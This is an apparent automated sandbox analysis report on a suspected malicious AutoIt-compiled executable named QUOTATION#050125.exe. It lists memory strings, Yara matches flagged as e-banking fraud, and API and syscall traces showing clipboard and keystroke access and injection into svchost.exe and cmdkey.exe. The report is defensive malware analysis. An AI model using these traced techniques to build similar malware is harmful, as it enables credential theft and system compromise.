Source: cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NP3MFSK
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0013EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

2_2_0013EAFF

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0013ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_0013ED6A

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

2_2_0013EAFF

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0012AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

2_2_0012AA57

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00159576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

2_2_00159576

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 3.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.293705525670.0000000000C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289274740765.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276636608.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276489302.0000000003BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817073543.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817177626.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.293706459836.0000000004460000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: QUOTATION#050125.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: QUOTATION#050125.exe, 00000002.00000002.288641235709.0000000000182000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b03b4d24-e
Source: QUOTATION#050125.exe, 00000002.00000002.288641235709.0000000000182000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e5ea26eb-8
Source: QUOTATION#050125.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6b27d084-2
Source: QUOTATION#050125.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d1d263f4-f

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION#050125.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0042CA33 NtClose,	3_2_0042CA33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_03872B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872A80 NtClose,LdrInitializeThunk,	3_2_03872A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_03872D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038734E0 NtCreateMutant,LdrInitializeThunk,	3_2_038734E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03874260 NtSetContextThread,	3_2_03874260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03874570 NtSuspendThread,	3_2_03874570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872B80 NtCreateKey,	3_2_03872B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872BC0 NtQueryInformationToken,	3_2_03872BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872BE0 NtQueryVirtualMemory,	3_2_03872BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872B00 NtQueryValueKey,	3_2_03872B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872B10 NtAllocateVirtualMemory,	3_2_03872B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872B20 NtQueryInformationProcess,	3_2_03872B20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872AA0 NtQueryInformationFile,	3_2_03872AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872AC0 NtEnumerateValueKey,	3_2_03872AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872A10 NtWriteFile,	3_2_03872A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038729D0 NtWaitForSingleObject,	3_2_038729D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038729F0 NtReadFile,	3_2_038729F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872FB0 NtSetValueKey,	3_2_03872FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872F00 NtCreateFile,	3_2_03872F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872F30 NtOpenDirectoryObject,	3_2_03872F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872E80 NtCreateProcessEx,	3_2_03872E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872EB0 NtProtectVirtualMemory,	3_2_03872EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872EC0 NtQuerySection,	3_2_03872EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872ED0 NtResumeThread,	3_2_03872ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872E00 NtQueueApcThread,	3_2_03872E00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872E50 NtCreateSection,	3_2_03872E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872DA0 NtReadVirtualMemory,	3_2_03872DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872DC0 NtAdjustPrivilegesToken,	3_2_03872DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872D50 NtWriteVirtualMemory,	3_2_03872D50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872CD0 NtEnumerateKey,	3_2_03872CD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872CF0 NtDelayExecution,	3_2_03872CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872C10 NtOpenProcess,	3_2_03872C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872C20 NtSetInformationFile,	3_2_03872C20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872C30 NtMapViewOfSection,	3_2_03872C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03872C50 NtUnmapViewOfSection,	3_2_03872C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038738D0 NtGetContextThread,	3_2_038738D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03873C90 NtOpenThread,	3_2_03873C90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03873C30 NtOpenProcessToken,	3_2_03873C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B4260 NtSetContextThread,LdrInitializeThunk,	6_2_031B4260
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B4570 NtSuspendThread,LdrInitializeThunk,	6_2_031B4570
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2B10 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_031B2B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2B00 NtQueryValueKey,LdrInitializeThunk,	6_2_031B2B00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2B90 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_031B2B90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2B80 NtCreateKey,LdrInitializeThunk,	6_2_031B2B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2BC0 NtQueryInformationToken,LdrInitializeThunk,	6_2_031B2BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2A10 NtWriteFile,LdrInitializeThunk,	6_2_031B2A10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2A80 NtClose,LdrInitializeThunk,	6_2_031B2A80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2AC0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_031B2AC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B29F0 NtReadFile,LdrInitializeThunk,	6_2_031B29F0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2F00 NtCreateFile,LdrInitializeThunk,	6_2_031B2F00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2E00 NtQueueApcThread,LdrInitializeThunk,	6_2_031B2E00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2E50 NtCreateSection,LdrInitializeThunk,	6_2_031B2E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2ED0 NtResumeThread,LdrInitializeThunk,	6_2_031B2ED0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2D10 NtQuerySystemInformation,LdrInitializeThunk,	6_2_031B2D10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2DA0 NtReadVirtualMemory,LdrInitializeThunk,	6_2_031B2DA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2C30 NtMapViewOfSection,LdrInitializeThunk,	6_2_031B2C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2C50 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_031B2C50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2CF0 NtDelayExecution,LdrInitializeThunk,	6_2_031B2CF0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B34E0 NtCreateMutant,LdrInitializeThunk,	6_2_031B34E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B38D0 NtGetContextThread,LdrInitializeThunk,	6_2_031B38D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2B20 NtQueryInformationProcess,	6_2_031B2B20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2BE0 NtQueryVirtualMemory,	6_2_031B2BE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2AA0 NtQueryInformationFile,	6_2_031B2AA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B29D0 NtWaitForSingleObject,	6_2_031B29D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2F30 NtOpenDirectoryObject,	6_2_031B2F30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2FB0 NtSetValueKey,	6_2_031B2FB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2E80 NtCreateProcessEx,	6_2_031B2E80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2EB0 NtProtectVirtualMemory,	6_2_031B2EB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2EC0 NtQuerySection,	6_2_031B2EC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2D50 NtWriteVirtualMemory,	6_2_031B2D50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2DC0 NtAdjustPrivilegesToken,	6_2_031B2DC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2C10 NtOpenProcess,	6_2_031B2C10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2C20 NtSetInformationFile,	6_2_031B2C20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B2CD0 NtEnumerateKey,	6_2_031B2CD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B3C30 NtOpenProcessToken,	6_2_031B3C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B3C90 NtOpenThread,	6_2_031B3C90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303EF38 NtQueryInformationProcess,NtReadVirtualMemory,	6_2_0303EF38
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303F800 NtMapViewOfSection,	6_2_0303F800

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0012D5EB: CreateFileW,DeviceIoControl,CloseHandle,

2_2_0012D5EB

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00121201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

2_2_00121201

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0012E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

2_2_0012E8F6

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00132046	2_2_00132046
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000C8060	2_2_000C8060
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00128298	2_2_00128298
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000FE4FF	2_2_000FE4FF
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000F676B	2_2_000F676B
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00154873	2_2_00154873
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000ECAA0	2_2_000ECAA0
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000CCAF0	2_2_000CCAF0
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000DCC39	2_2_000DCC39
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000F6DD9	2_2_000F6DD9
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000DB119	2_2_000DB119
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000C91C0	2_2_000C91C0
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E1394	2_2_000E1394
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E1706	2_2_000E1706
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E781B	2_2_000E781B
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000C7920	2_2_000C7920
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000D997D	2_2_000D997D
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E19B0	2_2_000E19B0
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E7A4A	2_2_000E7A4A
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E1C77	2_2_000E1C77
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E7CA7	2_2_000E7CA7
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0014BE44	2_2_0014BE44
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000F9EEE	2_2_000F9EEE
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E1F32	2_2_000E1F32
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00E1B6F0	2_2_00E1B6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00418943	3_2_00418943
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0041478E	3_2_0041478E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0042F053	3_2_0042F053
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00401000	3_2_00401000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004030D0	3_2_004030D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004100FA	3_2_004100FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00410103	3_2_00410103
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004012C0	3_2_004012C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00416B40	3_2_00416B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00416B43	3_2_00416B43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00410323	3_2_00410323
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040E323	3_2_0040E323
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040E467	3_2_0040E467
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040E473	3_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00402780	3_2_00402780
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384E310	3_2_0384E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0390010E	3_2_0390010E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038300A0	3_2_038300A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038EE076	3_2_038EE076
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F6757	3_2_038F6757
